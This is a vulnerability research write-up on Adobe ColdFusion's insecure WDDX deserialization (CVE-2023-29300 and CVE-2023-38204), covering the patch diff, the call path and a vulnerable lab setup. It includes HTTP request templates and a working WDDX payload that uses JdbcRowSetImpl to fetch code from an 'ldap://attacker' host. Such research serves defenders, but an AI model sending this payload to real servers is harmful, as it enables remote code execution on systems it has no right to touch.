Skip to content

Latest commit

 

History

History
322 lines (237 loc) · 15.7 KB

Adobe_Coldfusion_remote_code_execution_vulnerability_Analysis_(CVE-2023-38204)_en_US.md

File metadata and controls

322 lines (237 loc) · 15.7 KB

0x01 Summary

Recently, Adobe ColdFusion released multiple security updates that caught our attention. Adobe ColdFusion is a Java-based commercial application server. On July 13, 2023, ProjectDiscovery published an analysis article, and through our research on CVE-2023-29300, we discovered an undisclosed and very interesting vulnerability. As of that date, no official security patch had been released, so we immediately started searching for new exploitation methods. Shortly after, ProjectDiscovery realized that they had disclosed a 0day vulnerability, promptly deleted the analysis article, and awaited the official security patch. The specific timeline for the vulnerability can be referred to in the following text.

The exploitation method disclosed by ProjectDiscovery is limited to JDK versions lower than 9. After testing, the success rate of the publicly disclosed JNDI exploitation chain was found to be 0.6%. It mentioned the use of commons-beanutils, but upon our analysis, we found that it was not necessary to use it, and there are other exploitation chains. This article will start by examining the content of the security update in ColdFusion 2023 Release Update 1, analyze the cause of CVE-2023-29300, and propose some follow-up research directions.

In Goby, we have integrated the JNDI exploitation chain (CVE-2023-38204) for CVE-2023-29300, enabling command execution and custom LDAP server address functionality. The demonstration effect is as follows:

0x02 Vulnerability Environment

We have integrated a ready-to-use environment in vulfocus, which consists of Ubuntu 20.04, JDK 8u60, Apache Tomcat 9.0.78, and ColdFusion Release 2023.0.0.330468.

Pull the image using the following command:

docker pull vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

Start Environment:

docker run -d -P vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

0x03 Vulnerability Analysis

3.1 Patch Analysis

On July 12th, Adobe released ColdFusion (2023 release) Update 1. By comparing the decompiled code of the patch with the code before the update, a significant change can be observed in the coldfusion.wddx.DeserializerWorker#startElement() method:

pPPhTeg.png

The newly added validateWddxFilter() method is as follows.

private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
    String attributeType = atts.getValue("type");
    if (attributeType.endsWith(";")) {
        attributeType = attributeType.replace(";", "");
    }
    if (attributeType.startsWith("L")) {
        String attributeTypeCopy = attributeType;
        validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));
    }
    validateBlockedClass(attributeType);
}

private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
    if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
        throw new InvalidWddxPacketException();
    }
}

Based on the search of related documents, it is known that ColdFusion implements an ancient XML technology called WDDX (Web Distributed Data Exchange). By implementing WDDX, variables (including their names, data types, and values) can be serialized into an XML document, and applications can reconstruct these variables by deserializing this XML document.

3.2 WDDX Serialization

Various serializers that implement the coldfusion.wddx.WddxObjectSerializer interface can perform WDDX serialization on data. Examples of these serializers include StringSerializer, NumberSerializer, BeanSerializer, and others. We attempted to use the BeanSerializer to serialize a custom Java Bean, and during the debugging process, we also observed the default mapping relationship between object types and the serializer.。

pPPhqFs.png

The format of the output serialization result is as follows.

<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='LJavaBean;'>
            <var name='age'>
                <number>233.0</number>
            </var>
            <var name='name'>
                <string>233</string>
            </var>
        </struct>
    </data>
</wddxPacket>

Correspondingly, deserialization is implemented by the coldfusion.wddx.WddxDeserializer class. For ColdFusion, each element in WDDX is a WddxElement, and different elements correspond to different Handler processing classes. For example, elements and attributes in the <string> tag will be handled by StringHandler, and the <struct> tag will be handled by StructHandler. We are particularly interested in the onStartElement() and onEndElement() methods.

public void onStartElement(String name, AttributeList attributes) throws WddxDeserializationException {
    this.m_strictType = attributes.getValue("type");
    //...
}
public void onEndElement() throws WddxDeserializationException {
    if (this.m_strictType == null) {
        // ...
    } else {
        Class beanClass = null;
        Object bean = null;

        try {
            beanClass = getClassBySignature(this.m_strictType);
            bean = beanClass.getDeclaredConstructor().newInstance();
            this.setBeanProperties(bean, this.m_ht);
            this.setTypeAndValue(bean);
        } catch (Exception var6) {
            // ...
        }
    }
}

onStartElement() and onEndElement() are callback methods in the SAX parser (Simple API for XML), which are called when the parser encounters the start and end tags of XML elements, respectively. In the onStartElement() method, the type attribute of the <struct> tag is assigned to the variable m_strictType.

Now let's follow the getClassBySignature() method.

private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
    int index = 0;
    char c = jniTypeSig.charAt(index);
    String className;
    switch (c) {
        // ...
        default:
            className = jniTypeSig.substring(index + 1, jniTypeSig.length() - 1);
            return Class.forName(className);
        // ...
    }
}

Clearly, here the first two characters of the type attribute are removed, and the remaining string is treated as a class name. The Class.forName() method is then used to load the class, followed by calling its parameterless constructor in the onEndElement() method.

Next, in the StructHandler#setBeanProperties() method, there is an evident Method#invoke() operation, aiming to call the setter methods of the target object and assign values to the properties of the newly instantiated object. Due to the length of the code snippet, it is not provided here.

Based on the analysis so far, we can conclude that ColdFusion's WDDX serialization and deserialization mechanism is quite similar to FastJson. Both are based on the target object's getter and setter methods, which are automatically invoked during the serialization and deserialization process. Referring back to the security update, if the incoming type attribute is not filtered, it would be similar to the situation in FastJson version 1.2.24. Attackers can exploit this vulnerability to instantiate any class that has a parameterless constructor and further call its designated setter methods, with control over the parameters. Undoubtedly, this poses a risk for exploitation.

3.3 Parameter Analysis

To find the approach for passing in the serialization payload and triggering deserialization, we globally search for references to the WddxDeserializer#deserialize() method in Jadx, and then follow through to coldfusion.filter.FilterUtils#WDDXDeserialize().

public static Object WDDXDeserialize(String str) throws Throwable {
    WddxDeserializer deserializer = new WddxDeserializer();
    InputSource source = new InputSource(new StringReader(str));
    return deserializer.deserialize(source);
}

Continuing the search for references to WDDXDeserialize(), we follow through to FilterUtils#GetArgumentCollection().

public static Map GetArgumentCollection(FusionContext context) throws Throwable {
    ServletRequest request = context.request;
    String attr = (String)context.pageContext.findAttribute("url.argumentCollection");
    if (attr == null) {
        attr = (String)context.pageContext.findAttribute("form.argumentCollection");
    }

    Struct argumentCollection;
    if (attr == null) {
        // ...
    } else {
        attr = attr.trim();
        if (attr.charAt(0) == '{') {
            // ...
        } else {
            argumentCollection = (Struct)WDDXDeserialize(attr);
        }
    }
    // ...
    return argumentCollection;
}

Analysis of the findAttribute() method reveals that the parameter url.xxx indicates retrieving the value of the parameter xxx from the request URL, while form.yyy indicates obtaining the value of parameter yyy from the uploaded form.

Continuing to trace upwards, we finally locate the coldfusion.filter.ComponentFilter#invoke() method.

ComponentFilter is a filter that inherits from the abstract class FusionFilter. Since it is related to filters, the first step would be to check the web.xml configuration file.

<servlet-mapping id="coldfusion_mapping_4">
    <servlet-name>CFCServlet</servlet-name>
    <url-pattern>*.cfc</url-pattern>
</servlet-mapping>

It is known that the Servlet responsible for parsing .cfc pages is named CFCServlet.

Following through to the getCFCFilterChain() method of CFCServlet.

private FusionFilter getCFCFilterChain(ServletRequest request) {
	FusionFilter filter = new ComponentFilter();
	FusionFilter filter = new ApplicationFilter(filter, 3);
	// ...
	FusionFilter filter = new MonitoringFilter((FusionFilter)filter, "CFC REQUEST");
	filter = new PathFilter(filter, this);
	// ...
	FusionFilter filter = new ExceptionFilter((FusionFilter)filter);
	FusionFilter filter = new ClientScopePersistenceFilter(filter);
	FusionFilter filter = new BrowserFilter(filter);
	FusionFilter filter = new NoCacheFilter(filter);
	boolean needsFormScope = true;
	FusionFilter filter = new GlobalsFilter(filter, true);
	FusionFilter filter = new DatasourceFilter(filter);
	return filter;
}

Its returned Filter Chain includes ComponentFilter.

It is important to note that PathFilter checks if the target file being accessed exists, so we cannot access a .cfc file that does not exist on the server.

Based on this, we attempt to construct the following packet and follow through to the ComponentFilter#invoke() method:

POST /CFIDE/adminapi/base.cfc HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=/* payload */

pPPhxyT.png

There is an if condition here that checks if the method parameter is not passed. If the method parameter is missing, it will prematurely return a 302 response, cutting off our attack path.

Therefore, we also need to include the method parameter in our request.

POST /CFIDE/adminapi/base.cfc?method HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=/* payload */

This way, we can bypass the if condition and call the GetArgumentCollection() method to pass the serialized malicious data to the server.

0x04 Exploitation

Therefore, drawing a parallel with FastJson, it is conceivable to construct a JNDI exploitation chain by invoking the setDataSourceName and setAutoCommit setter methods of the JdbcRowSetImpl class. This exploitation chain is assigned the CVE number CVE-2023-38204.

<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='xcom.sun.rowset.JdbcRowSetImplx'>
            <var name='dataSourceName'>
                <string>ldap://attacker:1389/Evil</string>
            </var>
            <var name='autoCommit'>
                <boolean value='true'/>
            </var>
        </struct>
    </data>
</wddxPacket>

pPP4pmF.png

We noticed that there are numerous JAR files in the WEB-INF/bundles and its subfolders, including the "repo" directory. Based on the assumption that "existence implies reasonableness," we added all JAR files to the working environment. With this setup, we continued exploring new exploitation chains and successfully developed a new limited exploitation method.

0x05 Vulnerability Timeline

CVE-2023-29300

  • 2023-07-11: Official security advisory published
  • 2023-07-12: ProjectDiscovery analysis article published without realizing 0-day disclosure
  • 2023-07-13: ProjectDiscovery hides the analysis article
  • 2023-07-14: Vulnerability patched

CVE-2023-38204

  • 2023-07-13: Vulnerability disclosed (Specific exploitation chain of CVE-2023-29300)
  • 2023-07-19: Vulnerability patched
  • 2023-07-19: ProjectDiscovery opens the analysis article

0x06 Conclusion

Through the study of CVE-2023-29300, we have gained insights into the basic workings of Adobe ColdFusion products. Its insecure WDDX serialization implementation leads to exploitable vulnerabilities. We have also provided a detailed analysis of the complete call path when passing the payload via the argumentCollection parameter and why it is necessary to include the seemingly unrelated method parameter. On this basis, we explored new directions for exploitation and encountered several challenges along the way. After reading this article, it will be easier for everyone to reproduce this vulnerability and study the product in the future, saving them some detours. If there are opportunities in the future, we will further share our research findings.

0x07 Reference

https://blog.projectdiscovery.io/adobe-coldfusion-rce/ https://helpx.adobe.com/coldfusion/kb/coldfusion-2023-update-1.html [https://helpx.adobe.com/sg/coldfusion/developing-applications/using-web-elements-and-external-objects/using-xml-and-wddx/moving-complex-data-across-the-web-with-wddx.html](https://helpx.adobe.com/sg/coldfusion/developing-applications/using-web-elements-and-external-objects/using-xml-and-wddx/moving-complex-data-across-the-web-with-wddx.html)



Goby Official URL

If you have a functional type of issue, you can raise an issue on GitHub or in the discussion group below:

  1. GitHub issue: https://github.com/gobysec/Goby/issues
  2. Telegram Group: http://t.me/gobies (Community advantage: Stay updated with the latest information about Goby features, events, and other announcements in real-time.)
  3. Telegram Channel: https://t.me/joinchat/ENkApMqOonRhZjFl
  4. Twitter:https://twitter.com/GobySec